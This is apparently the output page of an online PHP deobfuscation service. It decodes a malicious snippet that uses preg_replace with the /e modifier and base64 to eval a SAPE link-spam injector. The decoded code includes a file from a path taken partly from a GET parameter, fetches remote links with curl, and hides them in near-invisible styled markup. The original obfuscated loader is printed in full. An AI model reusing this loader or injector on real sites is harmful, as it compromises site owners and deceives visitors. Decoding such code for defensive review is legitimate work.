Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $kgpGfjh="eva\x6c\x28b\x61\x73e6\x34_\x64\x65\x63o\x64e\x28\x27"; $OYHt="JGRlYnVnX21..

Decoded Output download

$debug_mode = isset($_REQUEST['DEBUG']);

if( $debug_mode )
	echo "<!-- START BLOCK -->
";

try
{
	if( defined('_SAPE_USER') )
	{
		if( $debug_mode )
			echo "<!-- ERROR: U already defined: "._SAPE_USER." -->
";
		return;
	}
	else
	{
		define('_SAPE_USER', '6eacd830d344544f4abf22a58a33ee46');
		if( $debug_mode )
			echo "<!-- U: "._SAPE_USER." -->
";
	}


	if( !isset($_p) )
		$_p = '';
	if( isset($_GET['_ppppp']) )
		$_p = $_GET['_ppppp'];

//	$fn = $_SERVER['DOCUMENT_ROOT'] . $_p . "/wp-content/uploads/wp_system/wp_system.php";
//      $fn = $_SERVER['DOCUMENT_ROOT'] . $_p . "/images/stories/wp_system/wp_system.php";
	$fn = $_SERVER['DOCUMENT_ROOT'] . $_p . "/tmp/wp_system/wp_system.php";


	if(file_exists($fn))
	{
		if( $debug_mode )
			echo "<!-- found wp_system.php -->
";
	}
	else
	{
		if( $debug_mode )
			echo "<!-- ERROR: wp_system.php not found! _p: $_p, fn: $fn -->
";
		exit;

	}

	require_once($fn);

	$o= array();
	$o['fetch_remote_type'] = 'curl'; //[file_get_contents|curl|socket]
//	$o['fetch_remote_type'] = '[file_get_contents|socket]'; //[file_get_contents|curl|socket]
	
	if( $debug_mode )
		$o['force_show_code'] = true;

	$obj = new GJfeghjsdjfFHD($o);

	$id = md5(microtime());
	$id = 'a' . substr($id, 0, rand(5, 11));

	if( !isset($_c) )
		$_c = '#eee';

	if( $debug_mode )
		echo "<!-- color: {$_c} -->
";
	
	echo "<style type='text/css'>#{$id}, #{$id} *,#{$id} A {text-decoration:none; font-size:0.9em; color: {$_c};}</style>";
	echo "<span id='{$id}'>";                                                                    
	echo trim($obj->return_links());

        if($debug_mode)
		echo "<a href='test'>test link long description</a>";

	echo "</span>";

}
catch( Exception $ex )
{
	if( $debug_mode )
		echo "<!-- EXCEPTION: ".$ex->getMessage()." -->
";
}

if( $debug_mode )
	echo "<!-- END BLOCK -->
";

Did this file decode correctly?

Original Code

<?php $kgpGfjh="eva\x6c\x28b\x61\x73e6\x34_\x64\x65\x63o\x64e\x28\x27"; $OYHt="JGRlYnVnX21\x76ZGUg\x50SBpc3\116ldCgkX1\x4aFUVV\106U1\x52bJ0RFQlVH\x4a10pO\x77\060KDQppZ\151ggJG\122lYnV\156\13021vZ\x47U\x67\113Q\060KCWVj\x61G8gIjwhL\x530gU1RB\x55lQgQkxPQ0sgLS0+XG4\x69Ow0\113DQp\x30cn\153NCnsNCg\x6cpZi\x67gZGVmaW5\154\132C\147nX1N\x42UEVf\126V\116FU\x69\x63pI\103kN\x43g\1547DQoJCWlmKCAk\x5a\107VidWdfbW9kZ\123\101p\104Q\157JCQllY2hvICI\070IS0tIEV\x53Uk\071SOiBVI\107Fsc\155VhZHkgZGVmaW5lZDogIi5fU0\x46QRV9VU0VS\114iI\147LS0+XG4iOw0KC\x51lyZXR1cm47DQ\x6fJf\1210KCWVsc2UNC\147l7\x44Q\157\x4aC\127RlZm\x6cuZSgnX\x31NB\125\x45V\x66VVNF\125icsI\x43c2ZWFjZDgzMGQzND\1211NDR\x6d\x4eGFiZ\x6aIyYT\125\064YT\115z\132\x57U\x30N\151cpO\1670\x4bCQlpZiggJGRlY\156VnX21vZGUgKQ0KC\x51kJZWNob\171AiPCEtLSBVOiAiLl9TQVBFX1V\x54RVIu\x49\151At\x4c\x545\143biI7DQ\x6fJfQ0KDQoNC\147lpZiggI\127lzc2V\x30KCRfcC\153gKQ0K\103QkkX\063AgPSAnJz\163NC\x67lpZigg\x61\130NzZX\x51\x6fJ\1069H\122VR\142J\0619\167\143HBwcCddKSApDQoJC\123Rfc\x43A9ICR\146\x520V\125\127ydfcH\102w\143HAnXTsNCg0KLy8\112J\107ZuID0gJ\106\x39T\x52\x56J\127RV\x4abJ0\x52P\1211VNRU5U\1301JP\124\061\121nXS\101\165ICR\146\x63CAuI\103\x49\166\1443AtY2\071ud\x47VudC91cGx\x76YWRzL3dwX3\1165c3RlbS93cF9zeX\x4e\060ZW0ucG\150\167IjsNCi8\x76ICA\x67\111CAgJGZ\165I\x440gJF9TRVJWRVJbJ0\x52P\1211V\116\122U5UX\x31JP\1241Q\156XS\101uI\x43RfcCAuICIvaW1hZ2VzL3N0b\063JpZ\x58Mvd3B\146\x633lzdGVtL3dwX3N\x35c3\x52l\142\x535waH\x41\x69O\x770KCSRmbiA9I\x43R\x66U\x30VSVk\126SW\171dE\x540\x4eVT\x55VOVF9ST\x309\x55\11210\x67Li\101kX3AgL\151A\x69L3Rtc\103\x393cF9z\x65XN0\x5aW0\x76d3Bf\1433lzdGVtLnBocCI7DQoNC\1470KCW\154\155K\x47\132pbGVfZX\150pc3\x52z\x4b\103\x52mbi\153pDQ\157Je\1670KC\121lpZiggJG\122lY\156VnX\0621vZ\x47\125gKQ0KCQkJ\x5aWNoby\x41iPCEtLSBmb\063VuZCB3cF\x39zeX\x4e\x30ZW0ucGh\x77IC0tPlxuIjsNCgl\071DQ\x6fJZ\127x\x7aZQ0\x4b\103XsNC\x67k\112\x61\x57YoICRkZ\127J1Z19tb2Rl\x49CkNC\147kJ\x43WVj\x61G8g\111j\167hLS\x30\147R\x56JST1I\x36I\110dwX\063N5c3RlbS\x35waHAgbm90IGZvd\x57\x35kISBfcDogJ\1069\x77\114\x43Bmbjo\x67JGZuIC0t\120lxuIj\x73NC\x67\153JZXh\160\x64\104s\x4eCg0KCX0N\103\147\060K\103\x58\x4al\143XVp\x63mV\x66\x6225jZSg\x6bZm4pOw0KDQoJJG89IGFycmF5\113Ck7D\x51oJJG9bJ\062\132l\x64GNoX3J\x6cbW9\x30ZV90eXBlJ1\x30g\120SAn\131\063VybCc7I\x438vW2ZpbGV\x66Z2V0X2NvbnR\x6cbnR\172f\x47N1\x63mx8c29\x6aa\x32V0XQ0K\114y\x38JJG9bJ2ZldGNoX3\112lbW9\060ZV9\x30\x65XBl\11210\x67PSAnW2ZpbGVfZ2V0\1302NvbnRlbn\122zfHN\x76Y2tld\1060nOyAvL1tmaWxlX2\x64ldF9j\142250ZW5\060c3xjdXJsfHNvY2tldF0N\103\147kN\x43glpZiggJGRlYnVnX21vZ\x47UgKQ0KCQkk\x621snZm9yY2Vfc\x32hvd19j\x622R\x6c\112\x310gPS\x420c\156VlOw0KDQoJJG9iaiA9IG\x35ldy\102HSmZlZ2h\161c2Rq\x5a\153ZIRCg\x6bb\x79\1537\x44QoNCgkkaWQgPS\x42tZD\125o\142Wljcm90\141\x571lKCkpOw0KCSRpZCA9\x49C\144hJyAuIHN\x31YnN0cigkaW\121\x73ID\101sIHJ\150bmQ\x6fNSw\x67MTEpKTsNCg\060KCWlmKCA\x68aXNzZX\121oJF9jKSA\160DQ\157JC\123R\x66YyA9ICcj\x5aWVl\112z\163\x4eCg0KC\127l\x6dKC\x41kZGV\x69\x64W\x64fb\1279kZ\x53ApDQoJCW\x56jaG8\147\x49jwhLS0g\x5929sb3I6IHskX\062N9IC\060t\x50lx\x75\x49jsNCg\153NCg\x6c\x6c\x592hvI\x43I8c3R5b\107U\x67\x64HlwZT0ndGV4dC9\x6ac3\115nP\x69\x4e7\112G\154kfSwg\x493sk\141\x57R9ICo\x73I3skaWR9IEEge3RleHQtZGV\152b3JhdG\154vbjpu\14225lOyBmb\06250LXNp\x65mU6MC45Z\1270\x37IGNvbG9y\x4f\x69B7JF\x39jfTt9PC9z\144HlsZT4iOw0K\x43W\x56jaG8gIjx\x7acGFuI\x47lkP\123\x647JGl\153fSc+IjsgIC\101gICAgICAgICAg\111CAg\111CAgICAgICAg\x49C\101g\x49\x43\101gIC\101gICAgICA\x67I\x43\x41gIC\x41gIC\x41gIC\101gIC\101gI\x43\x41gIC\x41gI\103AgICAgIA\060\113C\127V\x6aaG\x38gd\x48JpbSgkb2JqLT5y\132XR1\x63\x6d5\146\142Glua3MoK\123k7DQoNCiAg\x49CA\x67ICAg\x61\x57Yo\x4aGR\x6cYn\x56\156X21vZG\125p\x44Q\x6fJCWVjaG8gIj\170\150IGhyZWY9J3Rlc3QnPnRl\1433QgbGluayBsb\x325nIG\122lc\062Ny\141XB0aW\071uPC9hPiI7DQ\x6fNCgll\x592hvICI\x38L3NwYW4+\111jsN\103g0KfQ0\113Y2F0Y2g\x6fI\105V4Y2\126wdGlvb\x69\x41kZXgg\113Q0Kew0KCWlm\x4bCAkZ\x47VidW\144\146bW\x39k\x5aSApDQoJCWVjaG\x38gI\x6awhLS0gRV\x68DRVBUSU9O\x4f\151Ai\114\151\x52leC0\x2b\1322V0T\127Vzc\x32FnZSgpLiIg\114S0+X\x474iOw0KfQ0\113\104QppZi\x67gJGRlYn\x56nX2\061vZGUgKQ0\x4bCWVj\141G\x38gIjw\150\x4c\x530gRU5E\x49EJ\x4d\x540NL\111C0\164PlxuIjsNCg=='\x29)"; $wgVZrfHR="\x70re\x67_\x72\x65pla\x63\x65"; $pL="\x2f\x2e*\x2f\x65"; $wgVZrfHR($pL, $kgpGfjh.$OYHt, "");

Function Calls

preg_replace 1
base64_decode 1

Variables

$pL /.*/e
$OYHt JGRlYnVnX21vZGUgPSBpc3NldCgkX1JFUVVFU1RbJ0RFQlVHJ10pOw0KDQpp..
$kgpGfjh eval(base64_decode('
$wgVZrfHR preg_replace

Stats

MD5 e0fba4da69fa239a04e81ce4b2545f13
Eval Count 2
Decode Time 108 ms